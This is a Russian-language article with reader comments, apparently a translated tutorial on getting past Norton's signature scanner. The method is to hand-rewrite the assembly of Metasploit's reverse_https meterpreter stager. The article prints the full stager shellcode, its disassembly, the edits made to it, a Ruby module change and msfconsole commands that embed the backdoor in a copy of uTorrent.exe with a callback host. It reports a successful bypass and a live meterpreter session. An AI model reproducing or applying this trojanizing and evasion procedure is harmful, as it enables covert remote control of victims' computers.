07.12.2011

Обход антивирусного сканера через рерайтинг ассемблерного кода

image

В ходе данной операции мы обойдем антивирус, переписав вручную ассемблерный код начинки эксплоита перед запуском атаки.

Автор: antiordinary

В ходе данной операции мы обойдем антивирус, переписав вручную ассемблерный код начинки эксплоита перед запуском атаки. Со всем уважением к башковитым аналитикам вредоносного ПО, ответственным за пополнение сигнатурных баз, охраняющих ваши компьютеры, мы заявляем, что сигнатурные методы антивирусов больше не являются эффективным решением. Как будет показано, даже современные эвристические методы – и те уязвимы к обфускации на ассемблерном уровне.

Техника, которую мы используем, может быть применена к любому приложению, которому необходимо проскользнуть мимо сигнатурного сканера. Чтобы сделать вещи чуточку поинтереснее, мы будем создавать наш бэкдор с помощью фреймворка Метасплоит и начиним его одной из самых забавных и легко распознаваемых боевых нагрузок, о какой я только мог подумать: windows/meterpreter/reverse_https. Производители антивирусов следят за Метасплоитом, как ястреб за добычей и, разумеется, не без оснований. Любой уважающий себя антивирус имеет в базе сигнатуры стейджеров I (stager) начинки meterpreter.

Вот виртуальная машина с именем Atbash. Она работает под управлением Windows 7, за антивирусную защиту которой отвечает Norton Antivirus. Почему Norton? Он довольно распространен. А еще потому, что McAfee не обнаружил бы даже немодифицированную версию начинки-стейджера reverse_http, не говоря уж о той, в которую мы внесем изменения.

Atbash, Norton и обработчик reverse_https из Metasploit.

Наш бэкдор – это копия uTorrent.exe. Мы взяли ее из Atbash и встроили в нее стандартный https-стейджер. Norton, как и следует порядочному антивирусу, схватывает добычу мгновенно. На самом деле, Norton проделал прекрасную работу: предпочел вычистить приложение и сохранить его полезную часть, а не удалить его целиком.

На переднем плане: обработчик reverse_http из Метасплоит встраивается в uTorrent.exe
На заднем: Norton отвечает решительно и мгновенно.

Таким образом, стандартный reverse_https стейджер полностью обречен на провал. Несмотря на свою элегантность, он слишком распространен и поэтому во многих случаях его применение будет так же незаметно, как упавший на голову кирпич. Наше решение состоит в том, чтобы забыть о приложении и вместо этого напрямую адаптировать сам фреймворк. Начинка стейджера reverse_https написана на ассемблере x86 и включена во фреймворк в виде обертки ассемблерного кода на Ruby. Переписав ассемблерный код и изменив соответствующим образом код на Ruby, мы сможем разрушить искомый антивирусом отпечаток и добавить нашей локальной копии MSF возможность обходить сигнатурный сканер.

Начните с распаковки шелл-кода стандартного reverse_https стейджера из Метасплоит. Создайте копию стейджера для изменений, а затем откройте ее и оригинал в вашем любимом редакторе (убедитесь, что редактор имеет доступ на запись к созданному файлу).

[rtyler@gallifrey windows]$ pwd 
/opt/framework-4.0.0/msf3/modules/payloads/stagers/windows 
[rtyler@gallifrey windows]$ ls | grep https 
reverse_https.rb 
reverse_https_strainA.rb 

Udis86 – настоящее произведение искусства. Это дизассемблер для архитектур x86 и x86_64, который будет направлять нас в наших приключениях. Установите его, если не сделали этого раньше. Далее нам понадобится рабочая папка и два рабочих файла.

[rtyler@gallifrey sigevasion_1]$ mkdir asm 
[rtyler@gallifrey sigevasion_1]$ cd asm 
[rtyler@gallifrey asm]$ touch msf_rhttps 
[rtyler@gallifrey asm]$ touch strainA_https 
[rtyler@gallifrey asm]$ gedit msf_rhttps && gedit strainA_https  

Поместите оригинальное содержимое начинки в рабочие файлы и с помощью «найти и заменить» удалите все, кроме содержимого, представленного в hex-формате. При этом нужно заменить промежутки между hex-байтами пробелами, чтобы udis86 смог прочитать файлы правильно. В итоге у вас должны остаться 8-битовые (2-значные) hex-блоки, разделенные пробелами. Дизассемблируем результат в терминале, чтобы увидеть, что получилось.

[rtyler@gallifrey asm]$ diff msf_rhttps strainA_https 
[rtyler@gallifrey asm]$ cat msf_rhttps 
 FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 
 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 
 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 57 
 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A 01 
 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B 
 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 
 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 8B 
 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 
 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 5D 
 68 6E 65 74 00 68 77 69 6E 69 89 E6 54 68 4C 77 
 26 07 FF D5 31 FF 57 57 57 57 56 68 3A 56 79 A7 
 FF D5 EB 5F 5B 31 C9 51 51 6A 03 51 51 68 5C 11 
 00 00 53 50 68 57 89 9F C6 FF D5 EB 48 59 31 D2 
 52 68 00 32 A0 84 52 52 52 51 52 50 68 EB 55 2E 
 3B FF D5 89 C6 6A 10 5B 68 80 33 00 00 89 E0 6A 
 04 50 6A 1F 56 68 75 46 9E 86 FF D5 31 FF 57 57 
 57 57 56 68 2D 06 18 7B FF D5 85 C0 75 1A 4B 74 
 10 EB D5 EB 49 E8 B3 FF FF FF 2F 31 32 33 34 35 
 00 68 F0 B5 A2 56 FF D5 6A 40 68 00 10 00 00 68 
 00 00 40 00 57 68 58 A4 53 E5 FF D5 93 53 53 89 
 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 
 85 C0 74 CD 8B 07 01 C3 85 C0 75 E5 58 C3 E8 51 
 FF FF FF 
[rtyler@gallifrey asm]$ udcli -x msf_rhttps 
0000000000000000 fc               cld                      
0000000000000001 e889000000       call 0x8f                
0000000000000006 60               pushad                   
0000000000000007 89e5             mov ebp, esp             
0000000000000009 31d2             xor edx, edx             
000000000000000b 648b5230         mov edx, [fs:edx+0x30]   
000000000000000f 8b520c           mov edx, [edx+0xc]       
[...]         
0000000000000154 8b07             mov eax, [edi]           
0000000000000156 01c3             add ebx, eax             
0000000000000158 85c0             test eax, eax            
000000000000015a 75e5             jnz 0x141                
000000000000015c 58               pop eax                  
000000000000015d c3               ret                      
000000000000015e e851ffffff       call 0xb4  

Антивирусная сигнатура стейджера наверняка зарыта где-то здесь. Заметьте, мы модифицируем не монолитный PE-файл, а лишь 350 байт ассемблерного кода, значит сигнатура, вероятно, довольно хрупка. Поэтому беситесь и крушите. Начнем с чего-нибудь простого:

[rtyler@gallifrey asm]$ udcli -x msf_rhttps 
0000000000000000 fc               cld                      
0000000000000001 e889000000       call 0x8f                
0000000000000006 60               pushad                  
0000000000000007 89e5 mov ebp, esp 0000000000000009 31d2 xor edx, edx             
000000000000000b 648b5230         mov edx, [fs:edx+0x30]   
000000000000000f 8b520c mov edx, [edx+0xc]       
0000000000000012 8b5214           mov edx, [edx+0x14]      
    
 
[rtyler@gallifrey asm]$ udcli -x strainA_https 
0000000000000000 fc               cld                      
0000000000000001 e88c000000       call 0x92                
0000000000000006 60               pushad                   
0000000000000007 8bc2 mov eax, edx 0000000000000009 33d0 xor edx, eax 000000000000000b 89e5 mov ebp, esp              
000000000000000d 648b5230         mov edx, [fs:edx+0x30]  
0000000000000011 8b520c           mov edx, [edx+0xc]       
0000000000000014 90 nop                       
0000000000000015 8b5214           mov edx, [edx+0x14]  

Давайте проверим, достаточно ли этого, чтобы одурачить Norton. (Черт, надеюсь, что нет.) Если вы еще не настроили или не примонтировали общие папки виртуальной машины, сейчас самое время. Нам нужно будет внести несколько поправок в модуль StrainA, чтобы его можно было использовать во фреймворке должным образом. Мы также увеличим смещение LPORT до 193, поскольку ранее добавили в код 3 байта. Примерно так:

module Metasploit3 
 
	include Msf::Payload::Stager 
	include Msf::Payload::Windows 
	 
	def self.handler_type_alias 
		"reverse_https_strainA" 
	end 
	 
	def initialize(info = {}) 
		super(merge_info(info, 
			'Name'   =>   'Reverse HTTPS Stager StrainA', 
	 
	[...] 
	 
	'LPORT'  =>  [ 193, 'v' ], 

Внесите исправленный шеллкод в файл модуля StrainA. Затем откройте вашу msf-консоль и проверьте, что ваша новая начинка загрузилась должным образом. Используйте ее, настраивайте и заворачивайте в новую копию uTorrent.exe. Для контроля сделайте то же самое со стандартным стейджером.

msf > search reverse_https 
 
Matching Modules 
================ 
 
   Name                                               Rank    Description 
   ----                                               ----    ----------- 
   payload/windows/meterpreter/reverse_https    [...]    
   payload/windows/meterpreter/reverse_https_strainA  [...] 
 
msf > pwd 
[*] exec: pwd 
 
/media/atbash 
msf > ls 
[*] exec: ls 
 
uTorrent.exe 
NAVDownloader.exe 
Norton Installation Files.lnk 
desktop.ini 
 
msf > use payload/windows/meterpreter/reverse_https 
 
msf payload(reverse_https) > set lhost 192.168.56.1 
lhost => 192.168.56.1 
 
msf payload(reverse_https) > set lport 5000 
lport => 5000 
 
msf payload(reverse_https) > generate -e x86/shikata_ga_nai -i 7 -x /media/atbash/uTorrent.exe -k -t exe -f /media/atbash/uTorrent_strainA.exe 
 
[*] Writing 639488 bytes to /media/atbash/uTorrent_strainA.exe...  

Встретив нашу тривиально модифицированную начинку, Norton немедленно поднял тревогу. Мы можем убедиться, что strainA функционирует нормально, если отключить сканер при доступе.

Наших скромных изменений в StrainA недостаточно для обхода.

Есть неплохие шансы на то, что где-то среди этих ~350 байтов шеллкода прячется отпечаток, который Norton использует в качестве сигнатуры. Однако, далее вас ожидает трудный, полный разочарований этап. Будьте креативны. Переписывайте ассемблерный код, обменивая регистры, изменяя последовательности действий, сегментируя операции или другими способами. Если после того, как осела пыль, код остался функциональным, значит вы сделали шаг в направлении взлома сигнатур других производителей антивирусов.

Вам понадобится написать собственный код, который можно будет вставить в существующий шеллкод. В конце статьи приведены ресурсы для тех, кто не занимается такими вещами регулярно. udcli фантастически подходит для подобных задач, действуя как транслятор с функцией обнаружения ошибок. Например, в пятом байте этого кода есть опечатка:

[rtyler@gallifrey ~]$ echo 49 31 C0 31 AF 8b 34 8a 31 C0 AC | udcli -x 
0000000000000000 49               dec ecx                  
0000000000000001 31c0             xor eax, eax             
0000000000000003 31af8b348a31     xor [edi+0x318a348b], ebp 
0000000000000009 c0ac             invalid              

А вот исправленная версия:

[rtyler@gallifrey ~]$ echo 49 31 C0 31 FF 8b 34 8b 31 C0 AC | udcli -x 
0000000000000000 49               dec ecx                  
0000000000000001 31c0             xor eax, eax             
0000000000000003 31ff             xor edi, edi             
0000000000000005 8b348b           mov esi, [ebx+ecx*4]     
0000000000000008 31c0             xor eax, eax             
000000000000000a ac               lodsb   

Утилита оказалась полезной и для написания скрипта, отслеживающего переходы и вызовы в ассемблерном коде. Если при замене кода длина ассемблерных инструкций не сохраняется, необходимо соответственно исправлять смещения для всех относительных ссылок. Этот процесс похож на увеличение/уменьшение смещения LPORT, который мы выполняли ранее для начинки в целом.

Обфускаторы Метасплоита могут добавить немного желанной удачи к нашему упражнению. Как на оригинальной, так и на измененной версии рассмотренной начинки я использовал shikata_ga_nai несколько раз. Большинство хорошо известных антивирусов его не боятся. Их сигнатуры основаны на неизменных характеристиках соответствующего кода. Тем не менее, правильная обфускация в правильном месте может дополнить наши усилия по ручному видоизмению шеллкода.

Процесс может быть трудным, но спонтанность и креативность – прекрасные помощники. В итоге, когда правильно модифицированный стейджер подвергнется деформации под прессом сканера, в базе сигнатур не найдется совпадений, и антивирус позволит зловреду спокойно выполниться.

Начинка reverse_https strainB успешно обходит полную защиту Norton.

Приятно удивило то, что strainB ничего не стоит обойти эвристический анализ Norton. Моей целью в данном случае было обойти лишь обычный сигнатурный сканер. Norton без вопросов позволяет измененной начинке выполниться и, в том числе, открыть сеанс meterpreter.

Показательное выступление meterpreter.

Доброй охоты.

Ресурсы:
  • metasploit framework 4.0.0/.1
  • бесплатная триал-версия исследуемого антивируса
  • udis86: http://udis86.sourceforge.net/
  • руководства по x86 ассемблеру. Несколько рекомендаций (если нужны):
    http://ref.x86asm.net/
    http://www.c-jump.com/CIS77/reference/Instructions_by_Mnemonic.html
    http://www.c-jump.com/CIS77/CPU/x86/lecture.html
  • oracle virtualbox

I стейджер (stager) – небольшая начинка, устанавливающая соединение жертвы с атакующим и позволяющая загружать более мощные начинки (прим. пер.)

или введите имя

CAPTCHA
Firewall
08-12-2011 12:12:55
Идея изменения сигнатуры известного зловреда отнюдь не нова. Разве что только средство для этого выбрано довольно необычное. Раньше это делалось написанием собственного пакера или пересборкой исходников. Ну да ладно. Запустить то червя можно, но вот что он будет дальше делать если на пути окажусь я - интерактивный брандмауэр. Меня то обмануть гораздо сложнее.
0 |
Guy Fawkes
10-12-2011 22:35:38
Уфф .. смелое заявление ... [/QUOTE] Производители антивирусов следят за Метасплоитом, как ястреб за добычей и, разумеется, не без оснований. Любой уважающий себя антивирус имеет в базе сигнатуры стейджеров I (stager) начинки meterpreter. [/QUOTE] windows/meterpreter/reverse_https virustotal
0 |
без имени
12-12-2011 11:52:43
Видимо касперский не слишком себя уважает...
0 |
Shyster
14-12-2011 11:13:44
автор впервые узнал о полиморфизме? Еще во времена DOSa вирусы изменяли свой код.
0 |